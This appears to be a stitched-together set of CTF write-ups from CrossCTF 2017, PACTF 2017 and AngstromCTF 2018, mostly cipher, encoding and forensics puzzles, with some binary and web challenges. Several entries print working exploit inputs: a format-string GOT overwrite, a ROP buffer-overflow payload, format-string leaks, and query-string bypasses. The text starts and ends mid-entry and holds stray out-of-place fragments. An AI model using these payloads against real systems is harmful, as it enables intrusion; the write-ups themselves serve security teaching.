operation or even hex edit stealth() to immediately leave & ret. There's no fixed solution. # CrossCTF_2017: GovTech Web Challenge Level 1 Category: Web Points: 75 Description: Here's a crypto warmup for you! Challenge here ## Write-up We are given a webpage with the strange encoded string BCBCBADABCABBABDBDCDBDBABCBBBCADBCCABBDDBAACBCABBDADBCBBADBABDDB. Like the qualifiers, this is a play on base-4 letters and we can solve this by translating this to base-4 numbers. BCBCBADABCABBABDBDCDBDBABCBBBCADBCCABBDDBAACBCABBDADBCBBADBABDDB 1212103012011013132313101211120312201133100212011303121103101331  Then, we can whip out the snake in us and use it's ability to convert bases fluently. $ ./solve.py
Flag: fLaG{tech_Base4}


Therefore, the flag is fLaG{tech_Base4}.

# CrossCTF_2017: Sky Pillar 4

Category: Reverse Engineering Points: 300 Description:

192.168.0.31:1350 Please start from level 01

## Write-up

This one was the pinnacle of my reverse engineering skill. With a little luck, you would guess that this is related to Fibonacci numbers, unfortunately, I did not in time for competition, so I just transpiled everything into solve.c.

$gcc solve.c && ./a.out Currently on 584 Found! 584$ ./skypillar
Welcome to
______     __  __     __  __        ______   __     __         __         ______     ______
/\  ___\   /\ \/ /    /\ \_\ \      /\  == \ /\ \   /\ \       /\ \       /\  __ \   /\  == \
\ \___  \  \ \  _"-.  \ \____ \     \ \  _-/ \ \ \  \ \ \____  \ \ \____  \ \  __ \  \ \  __<
\/\_____\  \ \_\ \_\  \/\_____\     \ \_\    \ \_\  \ \_____\  \ \_____\  \ \_\ \_\  \ \_\ \_\
\/_____/   \/_/\/_/   \/_____/      \/_/     \/_/   \/_____/   \/_____/   \/_/\/_/   \/_/ /_/
================================================================================
Home of the legendary Pokemon, Rayquaza
================================================================================
There are 5 Levels to climb. Each level requires a specifc code to unlock the next level.
Your goal is to reach the top, and catch the legendary Rayquaza... Good luck!
====================================================================
LEVEL 01
====================================================================
Enter code: I [email protected]@ be the very best
CrossCTF{xxxxxxxxxxxxxxxxx}
====================================================================
LEVEL 03
====================================================================
Enter Code: 0 @ C D G
CrossCTF{xxxxxxxxxxxxxxxxx}
====================================================================
LEVEL 04
====================================================================
Enter Code: 584
CrossCTF{xxxxxxxxxxxxxxxxx}


Therefore, the flag is .

# CrossCTF_2017: Sky Pillar 1

Category: Reverse Engineering Points: 100 Description:

192.168.0.31:1350 File here

## Write-up

Looking in levelone(), we find our hex-encoded passphrase in little endian, so we need to deal with that.

0x40772049
0x20406e6e
0x74206562
0x76206568
0x20797265
0x74736562

V

49207740
6e6e4020
62652074
68652076
65727920
62657374


Decoding it yields I [email protected]@ be the very best. Entering it into the server gives us the flag.

$./skypillar Welcome to ______ __ __ __ __ ______ __ __ __ ______ ______ /\ ___\ /\ \/ / /\ \_\ \ /\ == \ /\ \ /\ \ /\ \ /\ __ \ /\ == \ \ \___ \ \ \ _"-. \ \____ \ \ \ _-/ \ \ \ \ \ \____ \ \ \____ \ \ __ \ \ \ __< \/\_____\ \ \_\ \_\ \/\_____\ \ \_\ \ \_\ \ \_____\ \ \_____\ \ \_\ \_\ \ \_\ \_\ \/_____/ \/_/\/_/ \/_____/ \/_/ \/_/ \/_____/ \/_____/ \/_/\/_/ \/_/ /_/ ================================================================================ Home of the legendary Pokemon, Rayquaza ================================================================================ There are 5 Levels to climb. Each level requires a specifc code to unlock the next level. Your goal is to reach the top, and catch the legendary Rayquaza... Good luck! ==================================================================== LEVEL 01 ==================================================================== Enter code: I [email protected]@ be the very best CrossCTF{xxxxxxxxxxxxxxxxx}  Therefore, the flag is . # CrossCTF_2017: Patching Secrit Donut Tuch Category: Defense Points: 150 Description: Patch the secrit-binary-dunut-tuch! Use the following command curl -v -F [email protected] 192.168.0.30:8080/api/secrit_binary_donut_tuch Binary to patch here ## Write-up This one is an extension of Patching transformer as it can be solved in a similar way. The key idea is simple, to convert all the JNE symbols to JMP symbols to skip the section of code that will print the flag. # CrossCTF_2017: GovTech Web Challenge Level 2 Category: Web Points: 100 Description: This is a game of Tic-Tac-Toe. There are some messages encoded in Tic-Tac-Toe format. Please help us decipher it! Challenge here ## Write-up This challenge has to be done after level 1, since you need to use the flag from the first one as the passphrase for level 2. The clues given as using XOR to derive the hexadecimal ASCII representation of the flag. As we are given 12 pairs of tic-tac-toe tables, we can derive the length of the flag, which is 12. Additionally, from correctly trying to parse the puzzle, we actually arrive at an incorrect flag. 47 6f 76 54 65 63 68 7b 41 46 43 7d GovTech{AFC}  As such, what our team decided to do, is the bruteforce the 26^3 possiblities of the flag, which turned out to be GovTech{ABC}. Therefore, the flag is GovTech{ABC}. # PACTF 2017 Writeup So, just another writeup and yet another reflection. Bartik was rather easy and fun though quite a troll round. Boole was harder than Bartik and that it also had binaries compiled for the latest versions of GLIBC that I didn't bother to install. In a nutshell, I didn't finish the binaries because I was way too lazy to install the dependencies. # PACTF_2017: Quantum Theory Category: Points: 40 Description: (S//REL) TURMOIL or LPT, LPT-D, what else can you kludge for tipping… cough… [FLAG REDACTED] […] (TS//SI//REL) QUANTUMINSERT HTML Redirection Hint: My igloo is leaking! ## Write-up Another challenge that challenges your Googling ability, and logical thinking. Read upon Page 5 of this PDF. Therefore, the flag is NINJANIC. # PACTF_2017: Open Sourcery 2 Category: Points: 40 Description: There are many strings in the source code of the latest Google Chrome. Some of the strings contain pactf. Find the one that starts with i, ends with e, and also contains the letter v. Hint: Maybe you could get the source from the binary. But what’s this relationship between Chrome and Chromium I heard? Also, just so you know, this flag doesn’t have the string flag in or around it. ## Write-up Just some tough Googling. Therefore, the flag is impactfestival.be. # PACTF_2017: Exploring The Binary Category: Points: 10 Description: Why doesn’t this file print!! Did I forget to put in the print statement when I compiled? Hint: ## Write-up Preliminary testings immediately gave me the flag. Huh. $ strings /Users/Amos/Repositories/pactf_2017_writeup/boole/exploring-the-binary/a.out | grep flag
flag_1297831859


Therefore, the flag is flag_1297831859.

# PACTF_2017: Zeroes and Ones

Category: Points: 30 Description:

Bit String Flicking How many solutions are there for X in the expression: LCIRC -3 (01011 AND X OR 10100) = 01101

Hint:

Try simplifying it?

## Write-up

Simplification of strings!

LCIRC -3 (01011 AND X OR 10100) = 01101


Since LCIRC refers to circulating bits to the left, we have to recirculate to the right by 3.

(01011 AND X OR 10100) = 10101


Now, to solve for permutations of x, we need to see which bits can be changed without affected the results.

(01011 AND XXXXX OR 10100) = 10101
^ ^


As two bits can be changed, total solutions equals 2*2

Therefore, the flag is 4.

# PACTF_2017: Hash Killer

Category: Points: 60 Description:

Qu’est que c’est? We were clearing out the old server and came across a really weird file…

Hint:

Did someone say MD5? And that last line seems different from the rest…

## Write-up

Firstly, all the lines except the last one can be cracked as MD5, returning us decoded_hashes.txt. Looks like we have a hint regarding the last line, let's see.

8fc42c6ddf9966db3b09e84365034357 MD5 : the
c47d187067c6cf953245f128b5fde62a MD5 : word
424149e499a7cb738810dc0e537c8490 MD5 : 'AES'
a2a551a6458a8de22446cc76d639a9e9 MD5 : is
8fc42c6ddf9966db3b09e84365034357 MD5 : the
3c6e0b8a9c15224a8228b9a98ca1531d MD5 : key


AES md5summed returns 76b7593457e2ab50befe2dcd63cf388f. Let's try making a Pythonic decrypter.

$grep -R 'flag' -i xortool_out/ Binary file xortool_out//000.out matches xortool_out//032.out:There are infinitely many even numbers, too, but they re much more common: exactly 500 out of the first 1,000. In fact, it s pretty apparent that out of the first X numbers, just about (1/2)X will be even. The flag is primes_are_cool.  Therefore, the flag is primes_are_cool. # PACTF_2017: XOR 1 Category: Points: 20 Description: My friend Miles sent me a secret message. He said he encoded it with an XOR cipher. Can you figure out what his message “KGZFK\qZFG]qA\qZFOZ” means? Hint: The key is only one digit long ## Write-up Given that the key is only one digit long, we can easily bruteforce this with a simple Python script. $ ./solve.py
...
lqmwZqmlvZjwZqmdq
gkvjgp]vjkq]mp]vjcv
fjwkfq\wkjp\lq\wkbw
either_this_or_that
dhuids^uihr^ns^uiu
{wjv{lAjvwmAqlAjvj
[email protected]@[email protected]~k
...


Therefore, the flag is either_this_or_that.

# PACTF_2017:

Category: Points: Description:

You can solve this. You will lose 20 points. But a much more valuable problem will be unlocked.

Hint:

The flag is not the flag. At least it seems that way.

## Write-up

The flag is not the flag.

# PACTF_2017: Synesthesia

Category: Points: 60 Description:

Yatharth just dropped his fire new mixtape, but the last track is somewhat of a mystery. It’s called ‘See the Sound,’ and no one really knows what to make of it. (seethesound.wav)[seethesound.wav]

Hint:

Look at it!

## Write-up

Using something like Sonic Visualiser, all we have to do is add a spectrogram and the flag is revealed.

Therefore, the flag is just_like_batman.

# PACTF_2017: Time Travel

Category: Points: 20 Description:

Our website links to many web pages. Once upon a time, one of them displayed the flag.

Hint:

PACTF did not exist before 2015.

## Write-up

One of the sites that displays information that long ago, is PACTF's StatusPage. Looking at the hint, the flag has to be after 2016, so we search. At the end of the day, we get,

Apr 8, 11:05 - 17:48 EDT
This issue has been resolved. We thank you for your patience.
Also, someone time traveled back here to give you this: FLAG_3NJIE9CLDIUEWD8K7T8JT2YRQP7D3762.


Therefore, the flag is FLAG_3NJIE9CLDIUEWD8K7T8JT2YRQP7D3762.

# PACTF_2017: Welcome to PACTF!

Category: Points: 10 Description:

Fill in this survey for bonus points! This information helps PACTF get better every year. Your responses will be kept completely confidential.

Hint:

Tell us what you think!

## Write-up

Literally, free bonus points for doing a survey.

Therefore, the flag is bonus_points_ftw.

# PACTF_2017: ETA

Category: Points: 60 Description:

If this script were to finish, what would it output? MacOS Linux

Hint:

Try doing a bit of dynamic binary analysis. Read the registers!

## Write-up

This challenge is much easier with a proper x64-86 decompiler like IDA or Hopper. The function we are looking at here, is the get_primes() function.

int _Z10get_primesm(long arg0) {
var_38 = arg0;
var_40 = rsi;
rdi = var_38;
rax = std::vector<unsigned long, std::allocator<unsigned long> >::vector();
var_20 = operator new[]((var_40 >> 0x3) + 0x1);
rax = memset(var_20, 0xff, (var_40 >> 0x3) + 0x1);
for (var_28 = 0x2; var_28 <= var_40; var_28 = var_28 + 0x1) {
if ((SAR(sign_extend_64(*(int8_t *)(var_20 + (var_28 >> 0x3)) & 0xff), (var_28 & 0x7)) & 0x1) != 0x0) {
rsi = var_28;
rax = std::vector<unsigned long, std::allocator<unsigned long> >::push_back(var_38);
for (var_18 = var_28 + var_28; var_18 <= var_40; var_18 = var_18 + var_28) {
*(int8_t *)(var_20 + (var_18 >> 0x3)) = *(int8_t *)((var_18 >> 0x3) + var_20) & 0xff & !(0x1 << (var_18 & 0x7));
}
}
}
if (var_20 != 0x0) {
rax = operator delete[](var_20);
}
rax = var_38;
rbx = stack[2046];
rsp = rsp + 0x48;
rbp = stack[2047];
return rax;
}


We need to look closer at the part of the pseudocode that will give us the solution.

for (var_28 = 0x2; var_28 <= var_40; var_28 = var_28 + 0x1) {


The base idea of this part of the code, refers to how it's actually looking for THE largest prime number that's smaller than var_40, which is 2147483644. With some clever searching, the largest prime number smaller than 2147483644 is, 2147483629.

Therefore, the flag is 2147483629.

# PACTF_2017: RSA256

Category: Points: 80 Description:

According to Wikipedia, RSA 256 can be factored on modest hardware in 35 minutes. Given the encoded public key MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAIl47p5SrV3uMTsUAbwE0E+j+QynAY/CVq/Gf8IAOQy7AgMBAAE=, what is the similarly-encoded private key? The first 32 characters is the flag.

Hint:

And apparently YAFU can do it in 103 seconds!

## Write-up

PyCrypto to the rescue!

script

Therefore, the flag is MIGpAgEAAiEAiXjunlKtXe4xOxQBvATQ.

# PACTF_2017: Substitute Teacher

Category: Points: 25 Description:

Mr. Michael S. “Mike” Rogers is the substitute teacher for the day, but he is having trouble deciphering the secret message that was left for him by the teacher. Mr. Rogers knows the note is in English, but that’s about all. Can you help him? ENCRYPTED.txt

Hint:

Frequency analysis.

## Write-up

We go to [quipqiup] for this.

Using clues like,

adim=flag
cdixqkruk=plaintext


We get the plaintext,

In cryptography, a substitution cipher is a method of encoding by which units of plaintext are replaced with ciphertext, according to a fixed system; the "units" may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing the inverse substitution. (Wikipedia.org, "Substitution cypher") This is, for your sake, a completely normal English text. We were so nice, we decided to leave capitalization in the encrypted text... & punctuation! Aren't we nice. There is a relatively normal letter distribution in this text, so it shouldn't have been too difficult to solve. Anyway, congratulations! Here is your flag: only_slightly_better_than_caesar


Therefore, the flag is only_slightly_better_than_caesar.

# PACTF_2017: Whence I Came

Category: Points: 10 Description:

Open Sourcery Look from where I came! The key is somewhere in there… or at least it’d like to be!

Hint:

I am the creation of open sourcery!

## Write-up

This one tests your creativity to lookup PACTF's GitHub page, where you will find the flag.

Therefore, the flag is WELCOME_TO_PACTF_2017.

# PACTF_2017: Authorization Of Time

Category: Points: 55 Description:

qr.png. 1489798809000. Get me in.

Hint:

Big ben just hit 1.

## Write-up

We are originally given the Unix timestamp 1489798809000, which translates to 11/05/49179 @ 6:30pm (UTC). Impossible, let's take this as a millisecond timestamp and remove 3 0s, bringing us to 1489798809, which then translates to 03/18/2017 @ 1:00am (UTC). This makes much more sense.

In the QR code, we find out that the QR code contains an encoded Time-based One-time Password Algorithm or TOTP secret. Making use of the pyotp library, I made a nice script.

Therefore, the flag is 808365.

# PACTF_2017:

Category: Points: 40 Description:

Those Dinosaurs… had money? Turns out they also created a ledger system.

Hint:

I wonder what entry you’re looking for…

## Write-up

Revisiting our old dinosaur site, we find an interesting tidbit.

$dig TXT ledger.dinosaurneverforgetsystem.tk ; <<>> DiG 9.8.3-P1 <<>> TXT ledger.dinosaurneverforgetsystem.tk ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58605 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;ledger.dinosaurneverforgetsystem.tk. IN TXT ;; ANSWER SECTION: ledger.dinosaurneverforgetsystem.tk. 14141 IN TXT "3890a940bf54bb50d2ad334d0d0ddbda8a8737b6873277412756724292e89e31" ;; Query time: 7 msec ;; SERVER: 164.78.239.15#53(164.78.239.15) ;; WHEN: Tue Apr 18 13:58:43 2017 ;; MSG SIZE rcvd: 130  What does 3890a940bf54bb50d2ad334d0d0ddbda8a8737b6873277412756724292e89e31 mean? Decoding it into ASCII gives nothing, let's try to search it. BAM! Therefore, the flag is those_dinosaurs_sure_are_clever. # PACTF_2017: Visual Words Category: Points: 70 Description: Some of us are visual learners. Some of us learn best from texts. I’ve found the perfect combination! It was a bit dark though, so I had to make it brighter by some factor. Hint: Number, words, colors, data. It’s all really just numbers and math right? ## Write-up This challenge involves reading each pixel by pixel to get the character representation of the colour code within each pixel to form a word. We have to take advantage of the Pillow library to solve this. Script Therefore, the key is flag_HidingSomeFunStuffInThisImage!!. # PACTF_2017: Dinosaur Never-Forget System Category: Points: 30 Description: Those Dinosaurs… The dinosaurs need some way to archive their messages and news for the future, so they created the Dinosaur Never-forget System. They wanted the login to be public, but they also didn’t want it to be too easy to find. So they hid it in a system more antiquated than the dinosaurs themselves. dinosaurneverforgetsystem.tk Hint: They kept records, too. ## Write-up A simple challenge involving TXT DNS records. $ dig TXT dinosaurneverforgetsystem.tk

; <<>> DiG 9.8.3-P1 <<>> TXT dinosaurneverforgetsystem.tk
;; global options: +cmd
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57478
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;dinosaurneverforgetsystem.tk.  IN  TXT

dinosaurneverforgetsystem.tk. 14439 IN  TXT "edger entry available at LEDGER subdomain -- flag: dinosaurs_must_stay_informed"

;; Query time: 347 msec
;; SERVER: 164.78.239.15#53(164.78.239.15)
;; WHEN: Tue Apr 18 13:29:49 2017
;; MSG SIZE  rcvd: 138


Therefore, the flag is dinosaurs_must_stay_informed.

# PACTF_2017: CT S(C)AN

Category: Points: 35 Description:

CHECK THE SAN. MAYBE CT SCANS ARE USEFUL TOO.

Hint:

We are a security competition, not a hospital. Consult with your healthcare professional before deciding to take any CAT scans.

## Write-up

This challenge is a real troll to anyone who hasn't done SSL security before. SAN, stands for  Subject Alternative Name.

Looking into the security section of the browser, you find that the SANs are all listed there, including our flag.

Therefore, the flag is pa1cdnp5ocrn977rcqy98ubvkq92o5-flag.pactf.com.

# PACTF_2017: MegaEncryption (TM)

Category: Points: 40 Description:

Personal Advancement of Cuil Therory Foundation The Personal Advancement of Cuil Therory Foundation (PACTF) left a message for Tony, but they used MegaEncryption (TM) to encrypt it. What did they say? Should we be worried? It seems like they used some sort of public medium to send the message

Hint:

They kept records!

## Write-up

Irritating, truly this challenge, requires us to go search up discussion history. Afterwards, a intense base64 -d chain.

$cat ciphertext.txt | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d Oh my goodness! It's gotten so bad. The cuils are rising... they want to outlaw encryption... I'd rate their world +200 Cuils! At least I have MegaEncryption (TM) to keep me safe. the_cuil_is_too_much_to_handle  Therefore, the flag is the_cuil_is_too_much_to_handle. # PACTF_2017: What 3 Words Category: Points: 60 Description: preheated.positions.using gifted.miss.store! increases.enigma.sting is intellects.papers.downpours. Please capitalize. Hint: Use the default map, not OSM. ## Write-up What 3 Words refers to a proprietory map addressing scheme over here. As such, the last part of the description intellects.papers.downpours refers to this location. Therefore, the flag is Longyearbyen. # PACTF_2017: Think of the Cube Category: Points: 35 Description: Get Cubed I found this floating around on a piece of paper while geocaching. What could “dqow_UrrEcxbaDdfgwwIhww” possibly mean? Hint: What are some weird ciphers? Maybe originally involving a cube? ## Write-up Google and you will find this site. Therefore, the flag is flag_WowWierdCipherHere. # PACTF_2017: 1597463007 Category: Points: 15 Description: The number 0x5f3759df is very special, it is the magic behind an otherwise rather-annoying mathematical operation. What is the result of that operation applied to 0.25? Hint: LMGTFY ## Write-up Retarded challenge, involving the fast inverse square root function of 0x5f3759df. C solution Therefore, the flag is 2. # PACTF_2017: Haystack Category: Points: 60 Description: That’s a lot of data… but at least it’s signed! I’ll bet that at least one signature doesn’t match up, though. One of ‘em has a bit of cuil. It’ll be like finding a needle in a haystack… haystack.json Hint: Yes, I know that the RSA key format doesn’t really matter in this scenario (considering there isn’t much of a format). ## Write-up Thank god we are given the key. Script Therefore, the key is sometimes_needles_in_a_haystack_can_prick_you. # PACTF_2017: Bitesized Category: Points: 80 Description: There’s an image of some trees here. I bet the image contains more than trees, though. trees.png Hint: Try mod 8? ## Write-up Stegsolver is very useful for this, as we take a look at the plane 2s. If you squint hard enough, you can barely make out the flag. Therefore, the flag is dont_miss_the_flag_for_the_trees. # PACTF_2017: Et tu, Brute? Category: Points: 5 Description: I found a message from Julius. Can you get the flag? Huk aopz pz aol mshn: clup_cpkp_cpjp_TqT2VK Hint: Look up what a Caesar cipher is. Can you make sense of the encrypted text above? Once you do, enter the ‘flag’ in the text box below and check if you’re right! ## Write-up We got a string, Huk aopz pz aol mshn: clup_cpkp_cpjp_TqT2VK. Using an online tool like rot13.com, we can use an additional ROT19 to get the string And this is the flag: veni_vidi_vici_MjM2OD. Therefore, the flag is veni_vidi_vici_MjM2OD. # AngstromCTF 2018 This CTF happened to collide with my busy schedule so I only managed to work on it for the first two days! # AngstromCTF_2018: Cookie Jar Category: Binary Points: 60 Description: Note: Binary has been updated Try to break this Cookie Jar that was compiled from this source Once you've pwned the binary, test it out by connecting to nc shell.angstromctf.com 1234 to get the flag. ## Write-up Another simple challenge with a simpler buffer overflow, $ nc shell.angstromctf.com 1234
Welcome to the Cookie Jar program!

In order to get the flag, you will need to have 100 cookies!

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz


Therefore, the flag is actf{eat_cookies_get_buffer}.

# AngstromCTF_2018: Accumulator

Category: Binary Points: 50 Description:

I found this program (source) that lets me add positive numbers to a variable, but it won't give me a flag unless that variable is negative! Can you help me out? Navigate to /problems/accumulator/ on the shell server to try your exploit out!

## Write-up

This is a simple integer overflow challenge, with 32-bit integers.

$./accumulator64 The accumulator currently has a value of 0. Please enter a positive integer to add: 2147483647 The accumulator currently has a value of 2147483647. Please enter a positive integer to add: 1 The accumulator has a value of -2147483648. You win! actf{signed_ints_aint_safe}  Therefore, the flag is actf{signed_ints_aint_safe}. # AngstromCTF_2018: Number Guess Category: Binary Points: 70 Description: Ian loves playing number guessing games, so he went ahead and wrote one himself (source). I hope it doesn't have any vulns. The service is running at nc shell.angstromctf.com 1235. ## Write-up This is another simple format string challenge # nc shell.angstromctf.com 1235 Welcome to the number guessing game! Before we begin, please enter your name (40 chars max): %3$d %9$d I'm thinking of two random numbers (0 to 1000000), can you tell me their sum? 746589 509197's guess: 1255786 Congrats, here's a flag: actf{format_stringz_are_pre77y_sc4ry}  Therefore, the flag is actf{format_stringz_are_pre77y_sc4ry}. # AngstromCTF_2018: Personal Letter Category: Binary Points: 160 Description: Have you ever gotten tired of writing your name in the header of a letter? Well now there's a program to do it for you! Navigate to /problems/letter/ on the shell server to try your exploit out! ## Write-up This challenge was slightly tricky in that it was a ROP challenge that had to done with format strings. There will be many solutions to this challenge but essentially I chose to target the Global Offset Table (GOT). Before we can start crafting our exploit, we need to know the addresses of what we are targetting. printFlag: 0x804872b [email protected]: 0x804a030  Knowing that, let's target the last two bytes of our exit GOT table. Next, we craft our exploit and try to execute it. $ python -c 'print("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "%27u" + "%26$hnn" + "%91u" + "%27$hhn")' | ./personal_letter32
Welcome to the personal letter program!
Give us your name, and we will generate a letter just for you!
Enter Name (100 Chars max):
________________________________________
|                                      |
|                                      |
|  Dear 01                 4289382168n                                                                                         28,|
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|  __________________________________  |
|______________________________________|
Exiting.

Status Code: 0
Here's a flag: actf{flags_are_fun}


Therefore, the flag is actf{flags_are_fun}.

# AngstromCTF_2018: Rop To The Top

Category: Binary Points: 130 Description:

Rop, rop, rop Rop to the top! Slip and slide and ride that rhythm... Here's some binary and source. Navigate to /problems/roptothetop/ on the shell server to try your exploit out!

## Write-up

Relatively simple challenge too, with a simple ROP exploit code.

# r2 rop_to_the_top32
-- To debug a program, you can call r2 with 'dbg://<path-to-program>' or '-d <path..>'
[0x080483e0]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)

[0x080483e0]> is
[Symbols]
[...]
060 0x00001028 0x0804a028 GLOBAL OBJECT    0 __dso_handle
061 0x0000061c 0x0804861c GLOBAL OBJECT    4 _IO_stdin_used
063 0x000005a0 0x080485a0 GLOBAL   FUNC   93 __libc_csu_init
064 0x0804a030 0x0804a030 GLOBAL NOTYPE    0 _end
065 0x000003e0 0x080483e0 GLOBAL   FUNC    0 _start
066 0x000004db 0x080484db GLOBAL   FUNC   25 the_top
067 0x00000618 0x08048618 GLOBAL OBJECT    4 _fp_hw
[...]


With the address of the_top(), we can now craft our exploit.

$./rop_to_the_top32 python -c "print('A' * 44 + '\xdb\x84\x04\x08')" Now copying input... Done! actf{strut_your_stuff}  Therefore, the flag is actf{strut_your_stuff}. # AngstromCTF_2018: Intro To RSA Category: Crypto Points: 50 Description: One common method of public key encryption is the RSA algorithm. Given p, q, e, and c, see if you can recover the message and find the flag! ## Write-up Using Python, we can decrypt c with a script! # Calculate n n = p * q # Calculate decryption keys phi = (p-1) * (q-1) d = gmpy2.invert(e, phi) # Decrypt flag m = int(pow(c, d, n)) print(binascii.unhexlify(hex(m)[2:]).decode())  With the script, we can now get our flag. # ./solve.py actf{rsa_is_reallllly_fun!!!!!!}  Therefore, the flag is actf{rsa_is_reallllly_fun!!!!!!}. # AngstromCTF_2018: ofb **Category:**Crypto Points: 120 Description: defund made a simple OFB cipher, if you can even call it that. Here's the source and the encrypted flag. ## Write-up This challenge is also pretty straight forward but rather than the OFB we are trying to break, we are trying to break the linear congruent generator number generator used in encrypt.py. To do that, we will need three outputs from the linear congruent generator and we can do that by xorring the output of the first 12 bytes of the encrypted flag with the default standard PNG header pattern. x1 = int.from_bytes(data[:4], "big") ^ int.from_bytes(b"\x89\x50\x4e\x47", "big") x2 = int.from_bytes(data[4:8], "big") ^ int.from_bytes(b"\x0d\x0a\x1a\x0a", "big") x3 = int.from_bytes(data[8:12], "big") ^ int.from_bytes(b"\x00\x00\x00\x0d", "big")  After that is done, we can just use some nifty math to reverse our LCG's settings, a and c. Building a script will allow us to automate this better. # ./solve.py x1: 2445943554 x2: 2225636917 x3: 1320590709 a: 3204287424 c: 1460809397 === VERIFY === x1: 2445943554 x2: 2225636917 x3: 1320590709  With that, we get our flag, Therefore, our flag is actf{pad_rng}. # AngstromCTF_2018: Category: Crypto Points: 40 Description: We found these mysterious symbols hidden in ancient (1950s-era) ruins. We think a single byte may be key to unlocking the mystery. Can you help us figure out what they mean? ## Write-up This is just a single-byte XOR encryption. import binascii ciphertext = binascii.unhexlify("fbf9eefce1f2f5eaffc5e3f5efc5efe9fffec5fbc5e9f9e8f3eaeee7") for key in range(255): plaintext = "" for c in ciphertext: plaintext += chr(c ^ key) if "ctf" in plaintext: print(plaintext)  In a script, we get our flag $ ./script.py
actf{hope_you_used_a_script}


Therefore, the flag is actf{hope_you_used_a_script}.

# AngstromCTF_2018: Back To Base - ICS

Category: Crypto Points: 20 Description:

Here at ångstromCTF, we know all the powers of two! Try and decode this.

## Write-up

We get a file containing,

Part 1: 011000010110001101110100011001100111101100110000011011100110010101011111011101000111011100110000010111110110011000110000
Part 2: 165 162 137 145 151 147 150 164 137 163 151 170 164 63 63
Part 3: 6e5f7468317274797477305f733178
Part 4: dHlmMHVyX25vX20wcmV9

Flag is the concatenation of the four decoded parts.


Using any converter, particularly rax2, we get the following,

[email protected]:~# rax2 -b 011000010110001101110100011001100111101100110000011011100110010101011111011101000111011100110000010111110110011000110000
actf{0ne_tw0_f0

[email protected]:~# rax2 165o 162o 137o 145o 151o 147o 150o 164o 137o 163o 151o 170o 164o 63o 63o | rax2 -s
ur_eight_sixt33

[email protected]:~# rax2 -s 6e5f7468317274797477305f733178
n_th1rtytw0_s1x

[email protected]:~# rax2 -D dHlmMHVyX25vX20wcmV9
tyf0ur_no_m0re}


Therefore, the flag is actf{0ne_tw0_f0ur_eight_sixt33n_th1rtytw0_s1xtyf0ur_no_m0re}.

# AngstromCTF_2018: Warmup

Category: Crypto Points: 10 Description:

Just a quick warm-up cipher for everyone. Honestly, I think it's a fine cipher.

## Write-up

Another simple cipher with the Affine cipher, decoders can be found online.

Therefore, the flag is actf{it_begins}

# AngstromCTF_2018: md5

Category: Web Points: 140 Description:

defund's a true MD5 fan, and he has a site to prove it.

## Write-up

This is one of defund's worser challenges ever. Essentially, he disguised a web challenge as a crypto challenge and I wasted too much time researching on unknown prefix collision attacks.

Essentially, this challenge can be boiled down to arrays. By submitting both variables as arrays, we are able to bypass the === identicallity check while also having the same value. This is because when an array is concated onto a string, it merely becomes Array.

By accessing http://web.angstromctf.com:3003/?str1[]=0&str2[]=1, we get the flag.

Therefore, the flag is actf{but_md5_has_charm}.

actf{wow_ur_a_jinja_ninja}

form {{ config }} b c d

# AngstromCTF_2018:

Category: Web Points: 30 Description:

Get me! Over here.

## Write-up

We are brought to a page with a single submit button that leads us to the url http://web.angstromctf.com:3005/?auth=false. Notice how there is a auth=false, thus let's try http://web.angstromctf.com:3005/?auth=true.

Here you go: actf{why_did_you_get_me}


Therefore the flag is actf{why_did_you_get_me}.

# curl http://web2.angstromctf.com:8899/user/admin --data "field=_user__password"
actf{2_und3rsc0res_h1des_n0th1ng}


actf{sql_injection_more_like_prequel_injection}

# AngstromCTF_2018: Source Me 1

Category: Web Points: 20 Description:

## Write-up

The page source tells us the password.

<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<title>Source Me 1</title>
<body>
<br>
<input type="submit" value="Submit">
</form>
</body>
</html>


Attempting to log in with the username admin and password f7s0jkl, we get the flag.

Welcome, admin. Here is your flag: actf{source_aint_secure}


Therefore, the flag is actf{source_aint_secure}.

# AngstromCTF_2018: Source Me 2

Category: Web Points: 50 Description:

## Write-up

This time around, we have to crack the password hash of bdc87b9c894da5168059e00ebffb9077. Using an online cracking site, we find that the plaintext is password1234. Logging in with the password, we get our flag.

Welcome, admin. Here is your flag: actf{md5_hash_browns_and_pasta_sauce}


Therefore, the flag is actf{md5_hash_browns_and_pasta_sauce}.

# AngstromCTF_2018: File Transfer

Category: Misc Points: 40 Description:

We noticed someone trying to download a suspicious file on one of our networks. See if you can find out what they were getting from this network capture.

## Write-up

This challenge merely involves capturing an image.

Therefore, the flag is actf{0ver_th3_w1re}.

# AngstromCTF_2018: slots

Category: Misc Points: 90 Description:

defund is building a casino empire. Break his slot machine, which is running at web.angstromctf.com:3002. Note: connect with netcat or an equivalent tool.

## Write-up

This challenge is a mere teaser on one of Python's quirks with integers, that it could be NaN or not a number. If it is not a number, it simply cannot be used to check if it's below 0, above money or 1000000000. As such, we can break this challenge with just one bet.

$nc web.angstromctf.com 3002 Welcome to Fruit Slots! We've given you$10.00 on the house.
Once you're a high roller, we'll give you a flag.
